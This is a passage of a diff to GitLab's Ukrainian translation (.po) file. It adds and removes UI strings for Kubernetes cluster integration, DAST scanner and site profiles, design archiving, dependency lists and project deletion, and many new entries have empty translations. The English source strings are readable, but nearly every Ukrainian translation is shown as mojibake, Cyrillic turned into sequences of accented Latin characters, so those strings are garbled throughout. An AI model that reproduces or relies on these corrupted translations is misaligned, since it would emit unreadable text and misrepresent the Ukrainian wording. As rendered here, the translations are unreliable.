msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "Скопіювати API URL"
@@ -5568,9 +5700,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm Ñпрощує вÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‚Ð° ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°ÑтоÑунками Kubernetes. Tiller працює вÑередині вашого клаÑтеру Kubernetes Ñ– керує релізами charts."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Якщо ви налаштовуєте декілька клаÑтерів Ñ– викориÑтовуєте Auto DevOps, %{help_link_start}прочитайте Ð´Ð»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ це%{help_link_end}."
@@ -5766,8 +5895,8 @@ msgstr "КількіÑÑ‚ÑŒ вузлів"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "КількіÑÑ‚ÑŒ вузлів має бути чиÑлом."
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Введіть інформацію про доÑтуп до Ñвого Kubernetes-клаÑтера. Якщо вам потрібна допомога, ви можете прочитати наші %{link_to_help_page} про Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Будь-лаÑка впевнітьÑÑ, що ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Google задовольнÑÑ” наÑтупним вимогам:"
@@ -5985,12 +6114,15 @@ msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ %{title} ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr "Помилка під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ð¼ÐµÐ½Ð½Ð¾Ð³Ð¾ імені Knative."
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
-msgstr "Ð—Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð´Ð¾Ð¼ÐµÐ½Ñƒ дозволить вам викориÑтовувати фази Auto Review Apps та Auto Deploy Ð´Ð»Ñ %{auto_devops_start}Auto DevOps%{auto_devops_end}. Домен повинен мати шаблон DNS, що задовільнÑÑ” цей домен."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "Підмережі"
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr "Ð†Ð¼â€™Ñ Ñ€ÐµÑурÑу Amazon (ARN), пов’Ñазане із вашою роллю. Якщо у Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” ролі Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²Ñ–Ð·Ñ–ÑŽÐ²Ð°Ð½Ð½Ñ, Ñпочатку Ñтворіть Ñ—Ñ— в %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} за допомогою облікового запиÑу та external ID вказаних вище %{startMoreInfoLink}Додаткова інформаціÑ%{endLink}"
@@ -6030,15 +6162,27 @@ msgstr "Цей обліковий Ð·Ð°Ð¿Ð¸Ñ Ð¿Ð¾Ð²Ð¸Ð½ÐµÐ½ мати наÑтуÐ
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "Цей параметр дозволить вам вÑтановлювати заÑтоÑунки на клаÑтери RBAC."
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr "Щоб отримати доÑтуп до вашого заÑтоÑунку, піÑÐ»Ñ Ð¹Ð¾Ð³Ð¾ розгортаннÑ, направте ваш DNS на кінцеву точку Knative."
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr "Щоб видалити інтеграцію та реÑурÑи, введіть %{clusterName} Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ:"
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr "Щоб видалити Ñвою інтеграцію, введіть %{clusterName} Ð´Ð»Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ:"
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "Видалити %{appTitle}"
@@ -6063,6 +6207,9 @@ msgstr "Перевірка Ñтану білінгу проекта"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "Ми не змогли перевірити, що один із ваших проектів в GCP має ввімкнений білінг. Будь лаÑка, Ñпробуйте ще раз."
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "За допомогою підключеного до цього проєкту Kubernetes-клаÑтера, ви можете викориÑтовувати Review Apps, розгортати ваші проекти, запуÑкати конвеєри збірки тощо."
@@ -6078,9 +6225,6 @@ msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ %{appTitle} зі Ñвого Ð
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "Перед вÑтановленнÑм заÑтоÑунків нижче, необхідно вÑтановити Helm Tiller"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr "Щоб Ñтворити новий клаÑтер EKS ви повинні надати доÑтуп до реÑурÑів AWS вашої організації. Ð”Ð»Ñ Ð½Ð°Ð´Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупу Ñтворіть роль Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²Ñ–Ð·Ñ–ÑŽÐ²Ð°Ð½Ð½Ñ Ð·Ð° допомогою облікового запиÑу та external ID, що наведені нижче Ñ– надайте нам ARN."
@@ -6111,8 +6255,8 @@ msgstr "Зона"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "доÑтуп до Google Kubernetes Engine"
-msgid "ClusterIntegration|documentation"
-msgstr "документації"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr "Коментувати/відповіÑти (цитуючи виділений текÑÑ‚)"
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Коментарі"
@@ -6490,8 +6640,8 @@ msgstr "Ðалаштувати Prometheus"
msgid "Configure Tracing"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð’Ñ–Ð´ÑтеженнÑ"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "Ðалаштуйте файл <code>.gitlab-webide.yml</code> у директорії <code>.gitlab</code>, щоб почати викориÑтовувати Веб-термінал. %{helpStart}Докладніше.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
msgstr "Ðалаштувати автоматичні перевірки git Ñ– Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð² репозиторіÑÑ…."
@@ -6536,7 +6686,7 @@ msgid "Confirmation required"
msgstr "Ðеобхідне підтвердженнÑ"
msgid "Confluence"
-msgstr ""
+msgstr "Confluence"
msgid "ConfluenceService|Confluence Workspace"
msgstr ""
@@ -6551,7 +6701,7 @@ msgid "ConfluenceService|The URL of the Confluence Workspace"
msgstr ""
msgid "ConfluenceService|Your GitLab Wiki can be accessed here: %{wiki_link}. To re-enable your GitLab Wiki, disable this integration"
-msgstr ""
+msgstr "Ваш GitLab Wiki може бути доÑтупний тут: %{wiki_link}. Щоб повторно увімкнути ваші GitLab Wiki, вимкніть цю інтеграцію"
msgid "Congratulations! You have enabled Two-factor Authentication!"
msgstr "Вітаємо! Ви увімкнули двофакторну автентифікацію!"
@@ -6949,9 +7099,6 @@ msgstr "Скопійовано мітки та етап із %{source_issuable_r
msgid "Copy"
msgstr "Скопіювати"
-msgid "Copy %{field}"
-msgstr "Скопіювати %{field}"
-
msgid "Copy %{http_label} clone URL"
msgstr "Скопіювати URL Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· %{http_label}"
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr "Скопіювати токен"
@@ -7048,6 +7198,9 @@ msgstr "Копіювати значеннÑ"
msgid "Could not add admins as members"
msgstr "Ðе вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ адмініÑтраторів Ñк учаÑників"
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr "Ðе вдалоÑÑ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·ÑƒÐ²Ð°Ñ‚Ð¸ пÑевдонім Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ñƒ. Спробуйте ще раз!"
@@ -7072,15 +7225,21 @@ msgstr "Ðе вдалоÑÑ Ñтворити Ñередовище"
msgid "Could not create group"
msgstr "Ðе вдалоÑÑ Ñтворити групу"
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr "Ðе вдалоÑÑ Ñтворити проект"
-msgid "Could not delete %{design}. Please try again."
-msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ %{design}. Будь лаÑка, Ñпробуйте знову."
+msgid "Could not create wiki page"
+msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ пÑевдонім Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ñƒ %{chat_name}."
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr "Ðе вдалоÑÑ Ð·Ð½Ð°Ð¹Ñ‚Ð¸ дизайн."
@@ -7111,6 +7270,9 @@ msgstr "Ðе вдалоÑÑ Ð·Ð±ÐµÑ€ÐµÐ³Ñ‚Ð¸ ідентифікатор прое
msgid "Could not save prometheus manual configuration"
msgstr "Ðе вдалоÑÑ Ð·Ð±ÐµÑ€ÐµÐ³Ñ‚Ð¸ ручні Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Prometheus"
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ LDAP."
@@ -7126,6 +7288,13 @@ msgstr "ПокриттÑ"
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr "Створити"
@@ -7216,6 +7385,9 @@ msgstr "Створити епік"
msgid "Create file"
msgstr "Створити файл"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "Створити групу"
@@ -7252,6 +7424,9 @@ msgstr "Створіть нову дошку"
msgid "Create new branch"
msgstr "Створити нову гілку"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Створити новий каталог"
@@ -7276,6 +7451,9 @@ msgstr "Створити проект"
msgid "Create project label"
msgstr "Створити мітку проекту"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr "Створити вимогу"
@@ -7447,6 +7625,9 @@ msgstr "КориÑтувацька URL-адреÑа Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ
msgid "Custom hostname (for private commit emails)"
msgstr "ВлаÑне ім'Ñ Ñ…Ð¾Ñта (Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð²Ð°Ñ‚Ð½Ð¸Ñ… повідомлень електронної пошти)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "КориÑтувацькі Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½ÑŒ про події"
@@ -7543,6 +7724,15 @@ msgstr "Ðалаштуйте конфігурацію конвеєра, пере
msgid "Customize your pipeline configuration."
msgstr "Ðалаштувати конфігурацію конвеєра."
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr "Ð§Ð°Ñ Ñ†Ð¸ÐºÐ»Ñƒ"
@@ -7709,6 +7899,9 @@ msgstr "DAG"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7739,25 +7932,55 @@ msgstr "%{firstProject}, %{rest}, Ñ– %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr "Ðе вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ %{invalidProjects}. Ð¦Ñ Ð¿Ð°Ð½ÐµÐ»ÑŒ ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупна Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ñ–Ñ‡Ð½Ð¸Ñ… проектів та приватних проектів в групах із планом Silver."
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "Дані вÑе ще обчиÑлюютьÑÑ..."
@@ -7865,8 +8157,8 @@ msgstr "Гілка за замовчуваннÑм Ñ– захищені гілкÐ
msgid "Default classification label"
msgstr "Мітка клаÑифікації за замовчуваннÑм"
-msgid "Default deletion adjourned period"
-msgstr "Термін відкладеного Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð·Ð° замовчуваннÑм"
+msgid "Default deletion delay"
+msgstr ""
msgid "Default description template for issues"
msgstr "Шаблон опиÑу задач за замовчуваннÑм"
@@ -7943,12 +8235,12 @@ msgstr "Видалити"
msgid "Delete Comment"
msgstr "Видалити коментар"
-msgid "Delete Package"
-msgstr "Видалити пакет"
-
msgid "Delete Snippet"
msgstr "Видалити Ñніпет"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr "Видалити артефакти"
@@ -8003,6 +8295,9 @@ msgstr "Видалити ÑпиÑок кориÑтувачів"
msgid "Delete variable"
msgstr "Видалити змінну"
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Помилка при видаленні репозиторію проекту. Будь лаÑка, Ñпробуйте знову, або зв'ÑжітьÑÑ Ñ–Ð· адмініÑтратором."
@@ -8024,15 +8319,24 @@ msgstr "Помилка при відновленні вікі репозитор
msgid "Deleted"
msgstr "Видалено"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr "Видалено пÑевдонім Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ñƒ: %{chat_name}!"
-msgid "Deleted in this version"
-msgstr "Видалено в цій верÑÑ–Ñ—"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
msgid "Deleting"
msgstr "ВидаленнÑ"
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ ліцензію."
@@ -8042,6 +8346,9 @@ msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ ліцензію. Ліцензію
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ ліцензію. У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” дозволів виконувати цю дію."
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ. Цей проєкт буде видалено %{date}. Репозиторій та інші реÑурÑи проєкту доÑтупні лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ."
@@ -8070,6 +8377,13 @@ msgstr[1] "%d додаткові вразливоÑÑ‚Ñ– не відображаÑ
msgstr[2] "%d додаткових вразливоÑтей не відображаютьÑÑ"
msgstr[3] "%d додаткових вразливоÑтей не відображаютьÑÑ"
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] "виÑвлено %d вразливіÑÑ‚ÑŒ"
@@ -8080,6 +8394,9 @@ msgstr[3] "виÑвлено %d вразливоÑтей"
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr "ще %{remainingLicensesCount}"
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr "Ð’ÑÑ–"
@@ -8092,6 +8409,9 @@ msgstr "Компонент"
msgid "Dependencies|Component name"
msgstr "Ім'Ñ ÐºÐ¾Ð¼Ð¿Ð¾Ð½ÐµÐ½Ñ‚Ð°"
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "ЕкÑпортувати Ñк JSON"
@@ -8110,6 +8430,9 @@ msgstr "Пакувальник"
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ %{codeStartTag}dependency_scanning%{codeEndTag} закінчилоÑÑ Ð½ÐµÑƒÑпішно Ñ– неможе згенерувати ÑпиÑок. Будь лаÑка, переконайтеÑÑ, що Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð²Ð¸ÐºÐ¾Ñ€ÑƒÑ”Ñ‚ÑŒÑÑ Ð½Ð°Ð»ÐµÐ¶Ð½Ð¸Ð¼ чином Ñ– перезапуÑÑ‚Ñ–Ñ‚ÑŒ конвеєр."
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr "Увімкнути/вимкнути ÑпиÑок вразливоÑтей"
@@ -8150,12 +8473,12 @@ msgstr[1] "Залежить від Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %d запитів на злитÑ
msgstr[2] "Залежить від Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %d запитів на злиттÑ"
msgstr[3] "Залежить від Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %d запитів на злиттÑ"
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
-msgstr[0] "Залежить від %d <strong>закритого</strong> запиту на злиттÑ."
-msgstr[1] "Залежить від %d <strong>закритих</strong> запитів на злиттÑ."
-msgstr[2] "Залежить від %d <strong>закритих</strong> запитів на злиттÑ."
-msgstr[3] "Залежить від %d <strong>закритих</strong> запитів на злиттÑ."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Deploy"
msgid_plural "Deploys"
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,15 +8757,24 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð´Ð¸Ð·Ð°Ð¹Ð½Ñƒ із тим же ім’Ñм файлу замінює цей файл новою верÑією."
+msgid "DesignManagement|Archive designs"
+msgstr ""
+
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr "Ви впевнені, що хочете ÑкаÑувати ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ коментарÑ?"
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
-msgstr "Ви впевнені, що хочете видалити вибрані дизайни?"
-
msgid "DesignManagement|Cancel changes"
msgstr ""
@@ -8473,15 +8805,6 @@ msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ обговореннÑ. Будь ла
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr "Видалити"
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr "ÐŸÑ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð´Ð¸Ð·Ð°Ð¹Ð½Ñ–Ð²"
-
-msgid "DesignManagement|Delete selected"
-msgstr "Видалити вибрані"
-
msgid "DesignManagement|Deselect all"
msgstr "ЗнÑти Ð²Ð¸Ð´Ñ–Ð»ÐµÐ½Ð½Ñ Ð· уÑÑ–Ñ…"
@@ -8563,8 +8886,11 @@ msgstr "Деталі (за замовчуваннÑм)"
msgid "Detect host keys"
msgstr "ВиÑÐ²Ð»ÐµÐ½Ð½Ñ ÐºÐ»ÑŽÑ‡Ñ–Ð² хоÑта"
-msgid "DevOps Score"
-msgstr "Оцінка DevOps"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
+msgstr ""
msgid "Diff content limits"
msgstr "ÐžÐ±Ð¼ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ð¾Ñ€Ñ–Ð²Ð½ÑÐ½Ð½Ñ Ð·Ð¼Ñ–Ñту"
